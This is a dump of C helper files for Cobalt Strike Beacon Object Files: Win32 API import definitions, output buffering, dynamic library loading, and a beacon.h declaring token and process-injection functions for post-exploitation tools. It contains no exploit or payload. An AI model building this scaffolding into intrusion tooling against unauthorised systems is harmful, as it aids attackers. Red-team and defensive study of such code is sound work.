/* GDI+ for JPG stuffs */
extern "C" DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryA(LPCSTR lpLibFileName);
extern "C" DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM * ppstm);

#define LoadLibraryA              KERNEL32$LoadLibraryA
#define CreateStreamOnHGlobal     OLE32$CreateStreamOnHGlobal


/* 7/2/2025 update - Hotfix for CS 4.9 support */
extern "C" DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR lpModuleName);
extern "C" DECLSPEC_IMPORT FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
DECLSPEC_IMPORT LONG_PTR WINAPI USER32$GetWindowLongPtrA(HWND hWnd, int nIndex);
DECLSPEC_IMPORT LONG_PTR WINAPI USER32$SetWindowLongPtrA(HWND hWnd, int nIndex, LONG_PTR dwNewLong);

/* ----------------------------------- DEFINITIONS ------------------------------------------*/

/* 7/2/2025 update */
#define GetModuleHandleA         KERNEL32$GetModuleHandleA
#define GetProcAddress           KERNEL32$GetProcAddress
#define GetWindowLongPtrA        USER32$GetWindowLongPtrA
#define SetWindowLongPtrA        USER32$SetWindowLongPtrA


/* window functions */
#define ShowWindow               User32$ShowWindow
#define PrintWindow              User32$PrintWindow
#define SetLayeredWindowAttributes  User32$SetLayeredWindowAttributes
#define SetWindowPos             User32$SetWindowPos
#define GetWindowPlacement       User32$GetWindowPlacement
#define IsWindowVisible          User32$IsWindowVisible
#define UpdateWindow             User32$UpdateWindow
#define GetWindowRect            User32$GetWindowRect
#define GetWindowLongA           User32$GetWindowLongA
#define SetWindowLongA           User32$SetWindowLongA
#define EnumWindows              User32$EnumWindows
#define GetWindowThreadProcessId User32$GetWindowThreadProcessId

/* COM */
#define	CLSIDFromString			OLE32$CLSIDFromString
#define	CoCreateInstance		OLE32$CoCreateInstance
#define CoInitializeEx			OLE32$CoInitializeEx
#define CoUninitialize			OLE32$CoUninitialize
#define IIDFromString			OLE32$IIDFromString
#define CoInitialize			OLE32$CoInitialize
#define CoCreateInstanceEx		OLE32$CoCreateInstanceEx
#define SysAllocString			OleAut32$SysAllocString
#define	VariantInit				OLEAUT32$VariantInit
#define CoInitialize			OLE32$CoInitialize
#define CoInitializeSecurity	OLE32$CoInitializeSecurity

/* memory */
#define HeapFree				KERNEL32$HeapFree
#define HeapAlloc				KERNEL32$HeapAlloc
#define HeapReAlloc				KERNEL32$HeapReAlloc
#define memcpy					MSVCRT$memcpy
#define malloc				MSVCRT$malloc
#define memset					MSVCRT$memset


/* process */
#define GetProcessHeap			KERNEL32$GetProcessHeap
#define CreateProcessWithLogonW ADVAPI32$CreateProcessWithLogonW
#define OpenProcess				KERNEL32$OpenProcess
#define VirtualQueryEx			KERNEL32$VirtualQueryEx
#define GetProcessId			KERNEL32$GetProcessId
#define	ReadProcessMemory		KERNEL32$ReadProcessMemory
#define GetCurrentProcess		KERNEL32$GetCurrentProcess
#define Sleep					KERNEL32$Sleep
#define LookupPrivilegeValueW	ADVAPI32$LookupPrivilegeValueW
#define	GetModuleFileNameExW	PSAPI$GetModuleFileNameExW


/* debug */
#define EnumerateLoadedModulesW64 DBGHELP$EnumerateLoadedModulesW64
#define SymInitializeW			DBGHELP$SymInitializeW
#define SymCleanup				DBGHELP$SymCleanup


/* filesystem */
#define CreateFileA				KERNEL32$CreateFileA
#define SetFilePointer			KERNEL32$SetFilePointer
#define SetFilePointerEx		KERNEL32$SetFilePointerEx
#define WriteFile				KERNEL32$WriteFile
#define GetFileSizeEx			KERNEL32$GetFileSizeEx
#define GetFileVersionInfoSizeW	VERSION$GetFileVersionInfoSizeW
#define GetFileVersionInfoW		VERSION$GetFileVersionInfoW
#define	VerQueryValueW			VERSION$VerQueryValueW

/* error */
#define GetLastError			KERNEL32$GetLastError 


/* registry */
#define RegOpenKeyExA			ADVAPI32$RegOpenKeyExA
#define RegDeleteTreeA			ADVAPI32$RegDeleteTreeA
#define RegCreateKeyExA			ADVAPI32$RegCreateKeyExA
#define RegSetValueExA			ADVAPI32$RegSetValueExA


/* directory */
#define RemoveDirectoryA		KERNEL32$RemoveDirectoryA
#define CreateDirectoryA		KERNEL32$CreateDirectoryA
#define MoveFileA				KERNEL32$MoveFileA
#define PathIsDirectoryA		SHLWAPI$PathIsDirectoryA
#define PathFileExistsA			SHLWAPI$PathFileExistsA


/* strings */
#define strchr					MSVCRT$strchr
#define strcat_s				MSVCRT$strcat_s
#define strcpy_s				MSVCRT$strcpy_s
#define strncpy_s				MSVCRT$strncpy_s
#define snprintf				MSVCRT$_snprintf	/*beacon can't find snprintf without the preceeding '_' */
#define wcslen					MSVCRT$wcslen
#define vsnprintf				MSVCRT$vsnprintf
#define lstrlenW				KERNEL32$lstrlenW
#define lstrcpyW				KERNEL32$lstrcpyW
#define strcmp					MSVCRT$strcmp
#define lstrcpyA				Kernel32$lstrcpyA
#define	lstrcatA				Kernel32$lstrcatA
#define	lstrcpynA				Kernel32$lstrcpynA
#define lstrlenW				KERNEL32$lstrlenW
#define lstrcpyW				KERNEL32$lstrcpyW
#define sprintf					MSVCRT$sprintf
#define strlen                  MSVCRT$strlen


/* RPC */
#define RpcStringFreeA			Rpcrt4$RpcStringFreeA 
#define UuidCreate				Rpcrt4$UuidCreate
#define UuidToStringA			Rpcrt4$UuidToStringA


/* Random */
#define srand					MSVCRT$srand
#define rand					MSVCRT$rand


/* DateTime */
#define time					MSVCRT$time


/* SystemInfo */
#define GetSystemInfo			KERNEL32$GetSystemInfo
#define GetUserNameW			ADVAPI32$GetUserNameW
#define IsProcessorFeaturePresent	KERNEL32$IsProcessorFeaturePresent

#else

#endif


================================================
FILE: common/anticrash.c
================================================
#include <stdarg.h>
#include "bofdefs.h"
//For some reason char *[] is invalid in BOF files
//So this function stands to work around that problem

//makes a char *[] since we can't seem to otherwise
//count is the number of strings you're passing in will crash if this is wrong

//Must call intFree on returned result
char ** antiStringResolve(unsigned int count, ...)
{
    va_list strings;
    va_start(strings, count);
    char ** result = intAlloc(sizeof(char *) * count);
    for(int i = 0; i < count; i++)
    {
        result[i] = (char *)va_arg(strings, char *);
    }
    va_end(strings);
    return result;
}

================================================
FILE: common/base.c
================================================
#include <windows.h>
#include "bofdefs.h"
#include "beacon.h"
#ifndef bufsize
#define bufsize 8192
#endif




char * output __attribute__((section (".data"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly
WORD currentoutsize __attribute__((section (".data"))) = 0;
HANDLE trash __attribute__((section (".data"))) = NULL; // Needed for x64 to not give relocation error

#ifdef BOF
int bofstart();
void internal_printf(const char* format, ...);
void printoutput(BOOL done);
#endif
char * Utf16ToUtf8(const wchar_t* input);
#ifdef BOF
int bofstart()
{   
    output = (char*)MSVCRT$calloc(bufsize, 1);
    currentoutsize = 0;
    return 1;
}

void internal_printf(const char* format, ...){
    int buffersize = 0;
    int transfersize = 0;
    char * curloc = NULL;
    char* intBuffer = NULL;
    va_list args;
    va_start(args, format);
    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null
    va_end(args);
    
    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)
    if (buffersize == -1)
        return;
    
    char* transferBuffer = (char*)intAlloc(bufsize);
    intBuffer = (char*)intAlloc(buffersize);
    /*Print string to memory buffer*/
    va_start(args, format);
    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string
    va_end(args);
    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end
    {
        //BeaconFormatPrintf(&output, intBuffer);
        memcpy(output+currentoutsize, intBuffer, buffersize);
        currentoutsize += buffersize;
    }
    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print
    {
        curloc = intBuffer;
        while(buffersize > 0)
        {
            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request
            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left
            {
                transfersize = buffersize;
            }
            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer
            currentoutsize += transfersize;
            //BeaconFormatPrintf(&output, transferBuffer); // copy it to cobalt strikes output buffer
            if(currentoutsize == bufsize)
            {
            printoutput(FALSE); // sets currentoutsize to 0 and prints
            }
            memset(transferBuffer, 0, transfersize); // reset our transfer buffer
            curloc += transfersize; // increment by how much data we just wrote
            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall
        }
    }
    intFree(intBuffer);
    intFree(transferBuffer);
}

void printoutput(BOOL done)
{

    char * msg = NULL;
    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
    currentoutsize = 0;
    memset(output, 0, bufsize);
    if(done) {MSVCRT$free(output); output=NULL;}
}
#else
#define internal_printf printf
#define printoutput 
#define bofstart 
#endif

// Changes to address issue #65.
// We can't use more dynamic resolve functions in this file, which means a call to HeapRealloc is unacceptable.
// To that end if you're going to use this function, declare how many libraries you'll be loading out of, multiple functions out of 1 library count as one
// Normallize your library name to uppercase, yes I could do it, yes I'm also lazy and putting that on the developer.
// Finally I'm going to assume actual string constants are passed in, which is to say don't pass in something to this you plan to free yourself
// If you must then free it after bofstop is called
#ifdef DYNAMIC_LIB_COUNT


typedef struct loadedLibrary {
    HMODULE hMod; // mod handle
    const char * name; // name normalized to uppercase
}loadedLibrary, *ploadedLibrary;
loadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (".data"))) = {0};
DWORD loadedLibrariesCount __attribute__((section (".data"))) = 0;

BOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)
{
    BOOL bmatch = FALSE;
    DWORD pos = 0;
    while(szLibrary[pos] && sztarget[pos])
    {
        if(szLibrary[pos] != sztarget[pos])
        {
            goto end;
        }
        pos++;
    }
    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match
        {goto end;}
    bmatch = TRUE;

    end:
    return bmatch;
}

//GetProcAddress, LoadLibraryA, GetModuleHandle, and FreeLibrary are gimmie functions
//
// DynamicLoad
// Retrieves a function pointer given the BOF library-function name
// szLibrary           - The library containing the function you want to load
// szFunction          - The Function that you want to load
// Returns a FARPROC function pointer if successful, or NULL if lookup fails
//
FARPROC DynamicLoad(const char * szLibrary, const char * szFunction)
{
    FARPROC fp = NULL;
    HMODULE hMod = NULL;
    DWORD i = 0;
    DWORD liblen = 0;
    for(i = 0; i < loadedLibrariesCount; i++)
    {
        if(intstrcmp(szLibrary, loadedLibraries[i].name))
        {
            hMod = loadedLibraries[i].hMod;
        }
    }
    if(!hMod)
    {
        hMod = LoadLibraryA(szLibrary);
        if(!hMod){ 
            BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\nCould not find library to load.", szLibrary);
            return NULL;
        }
        loadedLibraries[loadedLibrariesCount].hMod = hMod;
        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop
        loadedLibrariesCount++;
    }
    fp = GetProcAddress(hMod, szFunction);

    if (NULL == fp)
    {
        BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\n", szFunction);
    }
    return fp;
}
#endif


char* Utf16ToUtf8(const wchar_t* input)
{
    int ret = Kernel32$WideCharToMultiByte(
        CP_UTF8,
        0,
        input,
        -1,
        NULL,
        0,
        NULL,
        NULL
    );

    char* newString = (char*)intAlloc(sizeof(char) * ret);

    ret = Kernel32$WideCharToMultiByte(
        CP_UTF8,
        0,
        input,
        -1,
        newString,
        sizeof(char) * ret,
        NULL,
        NULL
    );

    if (0 == ret)
    {
        goto fail;
    }

retloc:
    return newString;
/*location to free everything centrally*/
fail:
    if (newString){
        intFree(newString);
        newString = NULL;
    };
    goto retloc;
}

//release any global functions here
void bofstop()
{
#ifdef DYNAMIC_LIB_COUNT
    DWORD i;
    for(i = 0; i < loadedLibrariesCount; i++)
    {
        FreeLibrary(loadedLibraries[i].hMod);
    }
#endif
	return;
}


================================================
FILE: common/beacon.h
================================================
/*
 * Beacon Object Files (BOF)
 * -------------------------
 * A Beacon Object File is a light-weight post exploitation tool that runs
 * with Beacon's inline-execute command.
 *
 * Cobalt Strike 4.1.
 */

/* data API */
#pragma once

#ifdef BOF
typedef struct {
	char * original; /* the original buffer [so we can free it] */
	char * buffer;   /* current pointer into our buffer */
	int    length;   /* remaining length of data */
	int    size;     /* total size of this buffer */
} datap;

DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);

/* format API */
typedef struct {
	char * original; /* the original buffer [so we can free it] */
	char * buffer;   /* current pointer into our buffer */
	int    length;   /* remaining length of data */
	int    size;     /* total size of this buffer */
} formatp;

DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);

/* Output Functions */
#define CALLBACK_OUTPUT      0x0
#define CALLBACK_OUTPUT_OEM  0x1e
#define CALLBACK_ERROR       0x0d
#define CALLBACK_OUTPUT_UTF8 0x20

DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);

/* Token Functions */
DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void   BeaconRevertToken();
DECLSPEC_IMPORT BOOL   BeaconIsAdmin();

/* Spawn+Inject Functions */
DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);

/* Utility Functions */
DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);
#endif


================================================
FILE: common/bofdefs.h
================================================
#pragma once
#pragma intrinsic(memcmp, memcpy,strcpy,strcmp,_stricmp,strlen)
#include <windows.h>
#include <process.h>
#include <winternl.h>
#include <imagehlp.h>
#include <iphlpapi.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <windns.h>
#include <dbghelp.h>
#include <winldap.h>
#include <winnetwk.h>
#include <wtsapi32.h>
#include <shlwapi.h>

//KERNEL32
#ifdef BOF
WINBASEAPI void * WINAPI KERNEL32$VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
WINBASEAPI int WINAPI KERNEL32$VirtualFree (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
DECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalAlloc (UINT, SIZE_T);
DECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalFree (HLOCAL);
WINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
WINBASEAPI LPVOID WINAPI KERNEL32$HeapReAlloc (HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes);
WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
WINBASEAPI BOOL WINAPI KERNEL32$HeapFree (HANDLE, DWORD, PVOID);
WINBASEAPI DWORD WINAPI KERNEL32$FormatMessageA (DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list *Arguments);
WINBASEAPI int WINAPI Kernel32$WideCharToMultiByte (UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar);
WINBASEAPI int WINAPI KERNEL32$FileTimeToLocalFileTime (CONST FILETIME *lpFileTime, LPFILETIME lpLocalFileTime);
WINBASEAPI int WINAPI KERNEL32$FileTimeToSystemTime (CONST FILETIME *lpFileTime, LPSYSTEMTIME lpSystemTime);
WINBASEAPI int WINAPI KERNEL32$GetDateFormatW (LCID Locale, DWORD dwFlags, CONST SYSTEMTIME *lpDate, LPCWSTR lpFormat, LPWSTR lpDateStr, int cchDate);
WINBASEAPI VOID WINAPI KERNEL32$GetSystemTimeAsFileTime (LPFILETIME lpSystemTimeAsFileTime);
WINBASEAPI VOID WINAPI KERNEL32$GetLocalTime (LPSYSTEMTIME lpSystemTime);
WINBASEAPI WINBOOL WINAPI KERNEL32$SystemTimeToFileTime (CONST SYSTEMTIME *lpSystemTime, LPFILETIME lpFileTime);
WINBASEAPI WINBOOL WINAPI KERNEL32$SystemTimeToTzSpecificLocalTime (CONST TIME_ZONE_INFORMATION *lpTimeZoneInformation, CONST SYSTEMTIME *lpUniversalTime, LPSYSTEMTIME lpLocalTime);
WINBASEAPI WINBOOL WINAPI KERNEL32$GlobalMemoryStatusEx (LPMEMORYSTATUSEX lpBuffer);
WINBASEAPI WINBOOL WINAPI KERNEL32$GetDiskFreeSpaceExA (LPCSTR lpDirectoryName, PULARGE_INTEGER lpFreeBytesAvailableToCaller, PULARGE_INTEGER lpTotalNumberOfBytes, PULARGE_INTEGER lpTotalNumberOfFreeBytes);
WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess (VOID);
DECLSPEC_IMPORT DWORD KERNEL32$GetCurrentProcessId(VOID);
WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (VOID);
WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
WINBASEAPI HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
WINBASEAPI DWORD WINAPI KERNEL32$GetTickCount (VOID);
WINBASEAPI ULONGLONG WINAPI KERNEL32$GetTickCount64 (VOID);
WINBASEAPI LPVOID WINAPI KERNEL32$CreateFiber (SIZE_T dwStackSize, LPFIBER_START_ROUTINE lpStartAddress, LPVOID lpParameter);
WINBASEAPI LPVOID WINAPI KERNEL32$ConvertThreadToFiber (LPVOID lpParameter);
WINBASEAPI WINBOOL WINAPI KERNEL32$ConvertFiberToThread (VOID);
WINBASEAPI VOID WINAPI KERNEL32$DeleteFiber (LPVOID lpFiber);
WINBASEAPI VOID WINAPI KERNEL32$SwitchToFiber (LPVOID lpFiber);
WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject (HANDLE hHandle, DWORD dwMilliseconds);
WINBASEAPI VOID WINAPI KERNEL32$Sleep (DWORD dwMilliseconds);
WINBASEAPI WINBOOL WINAPI KERNEL32$DeleteFileW (LPCWSTR lpFileName);
WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileW (LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
WINBASEAPI DWORD WINAPI KERNEL32$GetFileSize (HANDLE hFile, LPDWORD lpFileSizeHigh);
WINBASEAPI WINBOOL WINAPI KERNEL32$ReadFile (HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId);
WINBASEAPI WINBOOL WINAPI KERNEL32$GetComputerNameExW (COMPUTER_NAME_FORMAT NameType, LPWSTR lpBuffer, LPDWORD nSize);
WINBASEAPI int WINAPI KERNEL32$lstrlenW (LPCWSTR lpString);
WINBASEAPI LPWSTR WINAPI KERNEL32$lstrcatW (LPWSTR lpString1, LPCWSTR lpString2);
WINBASEAPI LPWSTR WINAPI KERNEL32$lstrcpynW (LPWSTR lpString1, LPCWSTR lpString2, int iMaxLength);
WINBASEAPI DWORD WINAPI KERNEL32$GetFullPathNameW (LPCWSTR lpFileName, DWORD nBufferLength, LPWSTR lpBuffer, LPWSTR *lpFilePart);
WINBASEAPI DWORD WINAPI KERNEL32$GetFileAttributesW (LPCWSTR lpFileName);
WINBASEAPI DWORD WINAPI KERNEL32$GetCurrentDirectoryW (DWORD nBufferLength, LPWSTR lpBuffer);
WINBASEAPI HANDLE WINAPI KERNEL32$FindFirstFileW (LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData);
WINBASEAPI HANDLE WINAPI KERNEL32$FindFirstFileA (char * lpFileName, LPWIN32_FIND_DATA lpFindFileData);
WINBASEAPI WINBOOL WINAPI KERNEL32$FindNextFileW (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);
WINBASEAPI WINBOOL WINAPI KERNEL32$FindNextFileA (HANDLE hFindFile, LPWIN32_FIND_DATA lpFindFileData);
WINBASEAPI WINBOOL WINAPI KERNEL32$FindClose (HANDLE hFindFile);
WINBASEAPI VOID WINAPI KERNEL32$SetLastError (DWORD dwErrCode);
#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)
#define intRealloc(ptr, size) (ptr) ? KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ptr, size) : KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)
#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr)
#define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size)
DECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalAlloc(UINT uFlags, SIZE_T dwBytes);
DECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalFree(HGLOBAL hMem);
DECLSPEC_IMPORT LPTCH WINAPI KERNEL32$GetEnvironmentStrings();
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$FreeEnvironmentStringsA(LPSTR);
WINBASEAPI DWORD WINAPI KERNEL32$ExpandEnvironmentStringsW (LPCWSTR lpSrc, LPWSTR lpDst, DWORD nSize);
WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID);
WINBASEAPI WINBOOL WINAPI KERNEL32$Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);
WINBASEAPI WINBOOL WINAPI KERNEL32$Process32Next(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);
WINBASEAPI WINBOOL WINAPI KERNEL32$Module32First(HANDLE hSnapshot,LPMODULEENTRY32 lpme);
WINBASEAPI WINBOOL WINAPI KERNEL32$Module32Next(HANDLE hSnapshot,LPMODULEENTRY32 lpme);
WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA (LPCSTR lpLibFileName);
WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress (HMODULE hModule, LPCSTR lpProcName);
WINBASEAPI WINBOOL WINAPI KERNEL32$FreeLibrary (HMODULE hLibModule);
DECLSPEC_IMPORT WINBASEAPI int WINAPI KERNEL32$lstrlenA(LPCSTR);
DECLSPEC_IMPORT int WINAPI KERNEL32$GetLocaleInfoEx(LPCWSTR lpLocaleName, LCTYPE LCType, LPWSTR lpLCData, int cchData);
WINBASEAPI int WINAPI KERNEL32$GetSystemDefaultLocaleName(LPCWSTR lpLocaleName, int cchLocaleName);
DECLSPEC_IMPORT LCID WINAPI KERNEL32$LocaleNameToLCID(LPCWSTR lpName, DWORD dwFlags);
DECLSPEC_IMPORT int WINAPI KERNEL32$GetDateFormatEx(LPCWSTR lpLocaleName, DWORD dwFlags, const SYSTEMTIME *lpData, LPCWSTR lpFormat, LPWSTR lpDateStr, int cchDate, LPCWSTR lpCalendar);


//WTSAPI32
DECLSPEC_IMPORT DWORD WINAPI WTSAPI32$WTSEnumerateSessionsA(LPVOID, DWORD, DWORD, PWTS_SESSION_INFO*, DWORD*);
DECLSPEC_IMPORT DWORD WINAPI WTSAPI32$WTSQuerySessionInformationA(LPVOID, DWORD, WTS_INFO_CLASS , LPSTR*, DWORD*);
DECLSPEC_IMPORT DWORD WINAPI WTSAPI32$WTSFreeMemory(PVOID);

//Iphlpapi.lib
//ULONG WINAPI IPHLPAPI$GetAdaptersInfo (PIP_ADAPTER_INFO AdapterInfo, PULONG SizePointer);
DECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$GetAdaptersInfo(PIP_ADAPTER_INFO,PULONG);
DECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$GetIpForwardTable (PMIB_IPFORWARDTABLE pIpForwardTable, PULONG pdwSize, WINBOOL bOrder);
DECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$GetNetworkParams(PFIXED_INFO,PULONG);
DECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetUdpTable (PMIB_UDPTABLE UdpTable, PULONG SizePointer, WINBOOL Order);
DECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetTcpTable (PMIB_TCPTABLE TcpTable, PULONG SizePointer, WINBOOL Order);
DECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetIpNetTable(PMIB_IPNETTABLE IpNetTable,PULONG SizePointer, BOOL Order);

//MSVCRT
WINBASEAPI char *__cdecl MSVCRT$_ultoa(unsigned long _Value,char *_Dest,int _Radix);
WINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements);
WINBASEAPI void *__cdecl MSVCRT$memcpy(void * __restrict__ _Dst,const void * __restrict__ _Src,size_t _MaxCount);
WINBASEAPI int __cdecl MSVCRT$memcmp(const void *_Buf1,const void *_Buf2,size_t _Size);
WINBASEAPI void *__cdecl MSVCRT$realloc(void *_Memory, size_t _NewSize);
WINBASEAPI void __cdecl MSVCRT$free(void *_Memory);
WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
WINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, ...);
WINBASEAPI int __cdecl MSVCRT$vsnprintf(char * __restrict__ d,size_t n,const char * __restrict__ format,va_list arg);
WINBASEAPI int __cdecl MSVCRT$_snwprintf(wchar_t * __restrict__ _Dest,size_t _Count,const wchar_t * __restrict__ _Format,...);
WINBASEAPI errno_t __cdecl MSVCRT$wcscpy_s(wchar_t *_Dst, rsize_t _DstSize, const wchar_t *_Src);
WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
WINBASEAPI size_t __cdecl MSVCRT$wcstombs(char * __restrict__ _Dest,const wchar_t * __restrict__ _Source,size_t _MaxCount);
WINBASEAPI wchar_t *__cdecl MSVCRT$wcscmp(const wchar_t *_lhs,const wchar_t *_rhs);
WINBASEAPI wchar_t *__cdecl MSVCRT$wcstok(wchar_t * __restrict__ _Str,const wchar_t * __restrict__ _Delim);
WINBASEAPI wchar_t *__cdecl MSVCRT$wcstok_s(wchar_t *_Str,const wchar_t *_Delim,wchar_t **_Context);
WINBASEAPI wchar_t *__cdecl MSVCRT$wcsstr(const wchar_t *_Str,const wchar_t *_SubStr);
WINBASEAPI wchar_t *__cdecl MSVCRT$wcscat(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Source);
WINBASEAPI wchar_t *__cdecl MSVCRT$wcsncat(wchar_t * __restrict__ _Dest, const wchar_t * __restrict__ _Source, size_t _Count);
WINBASEAPI wchar_t *__cdecl MSVCRT$strncat(char * __restrict__ _Dest,const char * __restrict__ _Source, size_t _Count);
WINBASEAPI wchar_t *__cdecl MSVCRT$wcscpy(wchar_t * __restrict__ _Dest, const wchar_t * __restrict__ _Source);
WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *_Str1,const wchar_t *_Str2);
WINBASEAPI int __cdecl MSVCRT$_wcsnicmp(const wchar_t *_Str1,const wchar_t *_Str2, size_t _Count);
WINBASEAPI int __cdecl MSVCRT$_strnicmp(const char *_Str1,const char *_Str2, size_t _Count);
WINBASEAPI _CONST_RETURN wchar_t *__cdecl MSVCRT$wcschr(const wchar_t *_Str, wchar_t _Ch);

WINBASEAPI wchar_t *__cdecl MSVCRT$wcsrchr(const wchar_t *_Str,wchar_t _Ch);
WINBASEAPI wchar_t *__cdecl MSVCRT$wcsrchr(const wchar_t *_Str,wchar_t _Ch);
WINBASEAPI unsigned long __cdecl MSVCRT$wcstoul(const wchar_t * __restrict__ _Str,wchar_t ** __restrict__ _EndPtr,int _Radix);
DECLSPEC_IMPORT char * __cdecl MSVCRT$strcat(char * __restrict__ _Dest,const char * __restrict__ _Source);
WINBASEAPI size_t __cdecl MSVCRT$strnlen(const char *_Str,size_t _MaxCount);
WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str);
DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char *_Str1,const char *_Str2);
DECLSPEC_IMPORT int __cdecl MSVCRT$_stricmp(const char *string1,const char *string2);
